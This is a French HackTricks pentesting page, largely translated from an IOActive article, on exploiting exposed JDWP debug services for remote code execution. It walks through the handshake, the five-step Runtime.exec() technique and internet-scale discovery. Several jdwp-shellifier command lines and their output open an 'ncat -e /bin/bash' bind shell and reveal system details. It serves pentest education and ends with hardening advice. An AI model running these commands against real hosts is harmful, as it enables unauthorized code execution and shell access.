hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md

23 KiB
Raw Blame History

Pentesting JDWP - Java Debug Wire Protocol

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Exploitation

Vous pouvez utiliser l'exploit python situé dans https://github.com/IOActive/jdwp-shellifier

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

J'ai découvert que l'utilisation de --break-on 'java.lang.String.indexOf' rend l'exploit plus stable. Et si vous avez la possibilité de télécharger une porte dérobée sur l'hôte et de l'exécuter au lieu d'exécuter une commande, l'exploit sera encore plus stable.

Normalement, ce débogueur s'exécute sur le port 8000 et si vous établissez une connexion TCP avec le port et envoyez "JDWP-Handshake", le serveur devrait vous répondre avec la même chaîne.
Vous pouvez également vérifier cette chaîne dans le réseau pour trouver d'éventuels services JDWP.

En listant les processus, si vous trouvez la chaîne "jdwk" à l'intérieur d'un processus Java, il est probable qu'il ait activé le **Java Debug Wired Protocol **et vous pourrez peut-être vous déplacer latéralement ou même escalader les privilèges (si exécuté en tant que root).

Plus de détails

Copié depuis https://ioactive.com/hacking-java-debug-wire-protocol-or-how/

Java Debug Wire Protocol

Java Platform Debug Architecture (JPDA): JDWP est l'un des composants du système de débogage Java global, appelé Java Platform Debug Architecture (JPDA)[2]. Voici un diagramme de l'architecture globale :

Le Debuggee est constitué d'une JVM multi-thread exécutant notre application cible. Pour pouvoir être débogué à distance, l'instance JVM doit être explicitement démarrée avec l'option -Xdebug passée en ligne de commande, ainsi que l'option -Xrunjdwp (ou -agentlib). Par exemple, démarrer un serveur Tomcat avec le débogage à distance activé ressemblerait à ceci :

Comme le montre le diagramme d'architecture, le protocole Java Debug Wire est le lien central entre le Débogueur et l'instance JVM. Les observations sur le protocole incluent :

  • C'est un protocole binaire réseau basé sur des paquets.
  • Il est principalement synchrone. Le débogueur envoie une commande via JDWP et s'attend à recevoir une réponse. Cependant, certaines commandes, comme les événements, n'attendent pas de réponse synchrone. Elles enverront une réponse lorsque des conditions spécifiques seront remplies. Par exemple, un point d'arrêt est un événement.
  • Il n'utilise pas d'authentification.
  • Il n'utilise pas de chiffrement.

Toutes ces observations ont du sens puisqu'il s'agit d'un protocole de débogage. Cependant, lorsque ce service est exposé à un réseau hostile ou accessible depuis Internet, les choses peuvent mal tourner.

Handshake: JDWP stipule[9] que la communication doit être initiée par une simple poignée de main. Après une connexion TCP réussie, le Débogueur (client) envoie la chaîne ASCII de 14 caractères "JDWP-Handshake". Le Debuggee (serveur) répond à ce message en renvoyant exactement la même chaîne. La trace scapy[3] suivante montre la poignée de main initiale à deux voies :

root:~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:~/tools/scapy-hg # ./run_scapy

Welcome to Scapy (2.2.0-dev)
>>> sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A

Un auditeur de sécurité expérimenté aurait déjà réalisé qu'une telle poignée de main simple offre un moyen de découvrir facilement des services JDWP actifs sur Internet. Il suffit d'envoyer une simple sonde et de vérifier la réponse spécifique. Plus intéressant encore, un comportement a été observé sur le kit de développement Java IBM lors de l'analyse avec ShodanHQ[4] avec le serveur "parlant" d'abord avec la même bannière mentionnée. Par conséquent, il existe un moyen totalement passif de découvrir un service JDWP actif (cela sera abordé plus tard dans cet article avec l'aide du (tristement célèbre) Shodan).

Communication: JDWP définit les messages[10] impliqués dans les communications entre le Débogueur et le Debuggee. Les messages suivent une structure simple, définie comme suit:

Les champs Longueur et Id sont assez explicites. Le champ Flag est utilisé uniquement pour distinguer les paquets de demande des réponses, une valeur de 0x80 indiquant un paquet de réponse. Le champ CommandSet définit la catégorie de la Commande, comme indiqué dans le tableau suivant.
\

CommandSet ** Command**
0x40 Action à prendre par la JVM (par exemple, définir un point d'arrêt)
0x400x7F Fournir des informations d'événement au débogueur (par exemple, la JVM a atteint un point d'arrêt et attend d'autres actions)
0x80 Extensions tierces

En gardant à l'esprit que nous voulons exécuter du code arbitraire, les commandes suivantes sont les plus intéressantes pour nos besoins.

  • VirtualMachine/IDSizes définit la taille des structures de données gérées par la JVM. C'est l'une des raisons pour lesquelles le script nmap jdwp-exec.nse[11] ne fonctionne pas, car le script utilise des tailles codées en dur.

  • ClassType/InvokeMethod vous permet d'appeler une fonction statique.

  • ObjectReference/InvokeMethod vous permet d'appeler une fonction à partir d'un objet instancié dans la JVM.

  • StackFrame/(Get|Set)Values fournit des capacités de poussée/pop à partir de la pile des threads.

  • Event/Composite force la JVM à réagir à des comportements spécifiques déclarés par cette commande. Cette commande est une clé majeure à des fins de débogage car elle permet, entre autres choses, de définir des points d'arrêt, de parcourir pas à pas les threads pendant l'exécution et d'être notifié lors de l'accès/modification de valeurs de la même manière que GDB ou WinDBG. Non seulement JDWP vous permet d'accéder et d'invoquer des objets déjà présents en mémoire, mais il vous permet également de créer ou de remplacer des données.

  • VirtualMachine/CreateString vous permet de transformer une chaîne de caractères en un java.lang.String vivant dans l'exécution JVM.

  • VirtualMachine/RedefineClasses vous permet d'installer de nouvelles définitions de classes.

"Tous vos JDWP nous appartiennent"

Comme nous l'avons vu, JDWP fournit des commandes intégrées pour charger des classes arbitraires dans la mémoire JVM et invoquer du bytecode déjà existant et/ou nouvellement chargé. La section suivante couvrira les étapes de création d'un code d'exploitation en Python, qui se comporte comme une implémentation partielle d'une interface JDI afin d'être aussi fiable que possible. La principale raison de ce script d'exploitation autonome est que, en tant que pentester, j'aime les exploits "head-shot". C'est-à-dire, lorsque je sais avec certitude qu'un environnement/application/protocole est vulnérable, je veux avoir mon outil prêt à l'exploiter immédiatement (c'est-à-dire sans PoC, qui est essentiellement la seule chose qui existait jusqu'à présent). Maintenant que nous avons couvert la théorie, passons à la mise en œuvre pratique. Lorsqu'un service JDWP ouvert est rencontré, l'exécution de commandes arbitraires n'est qu'à cinq étapes (ou avec cette exploitation, à seulement une ligne de commande) de distance. Voici comment cela se passerait : 1. Obtenir la référence de l'exécution JavaLa JVM manipule les objets via leurs références. Pour cette raison, notre exploitation doit d'abord obtenir la référence de la classe java.lang.Runtime. À partir de cette classe, nous avons besoin de la référence de la méthode getRuntime(). Cela est réalisé en récupérant toutes les classes (paquet AllClasses) et toutes les méthodes de la classe que nous recherchons (paquet ReferenceType/Methods). 2. Configurer un point d'arrêt et attendre une notification (appels asynchrones)C'est la clé de notre exploitation. Pour invoquer du code arbitraire, nous devons être dans un contexte d'exécution de thread. Pour ce faire, une astuce consiste à configurer un point d'arrêt sur une méthode qui est connue pour être appelée à l'exécution. Comme nous l'avons vu précédemment, un point d'arrêt dans JDI est un événement asynchrone dont le type est défini sur BREAKPOINT(0x02). Lorsqu'il est atteint, la JVM envoie un paquet EventData à notre débogueur, contenant notre ID de point d'arrêt, et plus important encore, la référence au thread qui l'a atteint.
\

Il est donc judicieux de le configurer sur une méthode fréquemment appelée, telle que java.net.ServerSocket.accept(), qui est très susceptible d'être appelée chaque fois que le serveur reçoit une nouvelle connexion réseau. Cependant, il faut garder à l'esprit que cela pourrait être n'importe quelle méthode existant à l'exécution. 3. Allouer un objet Java String dans l'exécution pour effectuer la charge utileNous exécuterons du code dans l'exécution JVM, donc toutes nos données manipulées (comme les chaînes de caractères) doivent exister dans l'exécution JVM (c'est-à-dire posséder une référence d'exécution). Cela est assez facilement réalisé en envoyant une commande CreateString.

4. Obtenir l'objet Runtime à partir du contexte du point d'arrêtÀ ce stade, nous avons presque tous les éléments nécessaires pour une exploitation réussie et fiable. Ce qui nous manque, c'est une référence d'objet Runtime. Il est facile de l'obtenir, et nous pouvons simplement exécuter dans l'exécution JVM la méthode statique java.lang.Runtime.getRuntime()[8] en envoyant un paquet ClassType/InvokeMethod et en fournissant la classe Runtime et les références de thread. 5. Rechercher et invoquer la méthode exec() dans l'instance RuntimeLa dernière étape consiste simplement à rechercher la méthode exec() dans l'objet Runtime statique obtenu à l'étape précédente et à l'invoquer (en envoyant un paquet ObjectReference/InvokeMethod) avec l'objet String que nous avons créé à l'étape trois.

Et voilà !! Rapide et facile. À titre de démonstration, lançons un Tomcat en mode "débogage" JPDA activé :

root@pwnbox:~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start

Nous exécutons notre script sans commande à exécuter, simplement pour obtenir des informations générales sur le système :

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
[+] Targeting 192.168.2.9:8000
[+] Reading settings for Java HotSpot(TM) 64-Bit Server VM  1.6.0_65
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on java.net.ServerSocket.accept## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System Mac OS X
[+] Found User name pentestosx
[+] Found ClassPath /Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar
[+] Found User home directory /Users/pentestosx
[!] Command successfully executed

Même ligne de commande, mais contre un système Windows et en arrêtant sur une méthode totalement différente:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 break-on java.lang.String.indexOf
[+] Targeting 192.168.2.8:8000
[+] Reading settings for Java HotSpot(TM) Client VM  1.7.0_51
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on java.lang.String.indexOf
[+] Received matching event from thread 0x8f5
[+] Found Operating System Windows 7
[+] Found User name hugsy
[+] Found ClassPath C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar
[+] Found User home directory C:Usershugsy
[!] Command successfully executed

Nous exécutons notre exploit pour créer un shell de liaison avec la charge utile "ncat -e /bin/bash -l -p 1337", contre un système Linux :

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 cmd ncat -l -p 1337 -e /bin/bash
[+] Targeting 192.168.2.8:8000
[+] Reading settings for OpenJDK Client VM  1.6.0_27
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on java.net.ServerSocket.accept
[+] Received matching event from thread 0x82a[+] Selected payload ncat -l -p 1337 -e /bin/bash
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed Success, we now have a listening socket!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp        0      0 0.0.0.0:1337         0.0.0.0:*               LISTEN      19242/ncat
tcp6       0      0 :::1337              :::*                    LISTEN      19242/ncat

L'exploit final utilise ces techniques, ajoute quelques vérifications et envoie des signaux de suspension/reprise pour causer le moins de perturbations possible (il est toujours préférable de ne pas casser l'application sur laquelle vous travaillez, n'est-ce pas ?). Il fonctionne en deux modes :

  • Le mode "par défaut" est totalement non intrusif et exécute simplement du code Java pour obtenir des informations système locales (parfait pour une preuve de concept à un client).
  • En passant l'option "cmd", une commande système est exécutée sur l'hôte distant et est donc plus intrusive. La commande est exécutée avec les privilèges avec lesquels la JVM fonctionne.

Ce script d'exploit a été testé avec succès sur :

  • Oracle Java JDK 1.6 et 1.7
  • OpenJDK 1.6
  • IBM JDK 1.6

Comme Java est conçu pour être indépendant de la plate-forme, des commandes peuvent être exécutées sur n'importe quel système d'exploitation pris en charge par Java. Eh bien, c'est en fait une bonne nouvelle pour nous, les pentesteurs : le service JDWP ouvert signifie une RCE fiable. Jusqu'à présent, tout va bien.

Et en ce qui concerne l'exploitation dans la vie réelle ?

En réalité, JDWP est assez souvent utilisé dans le monde des applications Java. Cependant, les pentesteurs ne le voient peut-être pas souvent lorsqu'ils effectuent des évaluations à distance, car les pare-feu bloquent généralement (et devraient bloquer) le port sur lequel il s'exécute. Mais cela ne signifie pas que JDWP ne peut pas être trouvé dans la nature :

  • Au moment de la rédaction de cet article, une recherche rapide sur ShodanHQ[4] révèle immédiatement environ 40 serveurs envoyant la poignée de main JDWP :

C'est en fait une découverte intéressante car, comme nous l'avons vu précédemment, c'est censé être le côté client (débogueur) qui initie le dialogue.

  • GitHub[7] révèle également un nombre significatif d'applications open source potentiellement vulnérables :

  • En effectuant un scan masscan sur Internet à la recherche de ports spécifiques (tcp/8000, tcp/8080, tcp/8787, tcp/5005), de nombreux hôtes (qui ne peuvent pas être signalés ici) ont répondu à la poignée de main initiale.
  • Des applications "entreprise" ont été trouvées dans la nature exécutant un service JDWP *par défaut* (la recherche du numéro de port réel est laissée en exercice au lecteur curieux).

Ce ne sont que quelques façons de découvrir des services JDWP ouverts sur Internet. Cela nous rappelle que les applications devraient régulièrement faire l'objet d'examens de sécurité approfondis, que les environnements de production devraient désactiver toute fonctionnalité de débogage, et que les pare-feu devraient être configurés pour limiter l'accès aux services nécessaires au fonctionnement normal. Permettre à n'importe qui de se connecter à un service JDWP revient exactement à autoriser une connexion à un service gdbserver (de manière peut-être plus stable). J'espère que vous avez apprécié la lecture de cet article autant que j'ai apprécié jouer avec JDWP. À vous, les puissants pirates, joyeux JDWP pwning !!

Merci

Je tiens à remercier Ilja Van Sprundel et Sebastien Macke pour leurs idées et leurs tests.

Références :

  1. https://github.com/IOActive/jdwp-shellifier
  2. http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
  3. http://www.secdev.org/projects/scapy(no longer active)
  4. http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
  5. http://www.hsc-news.com/archives/2013/000109.html (no longer active)
  6. http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
  7. https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
  8. http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
  9. http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
  10. http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
  11. http://nmap.org/nsedoc/scripts/jdwp-exec.html
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥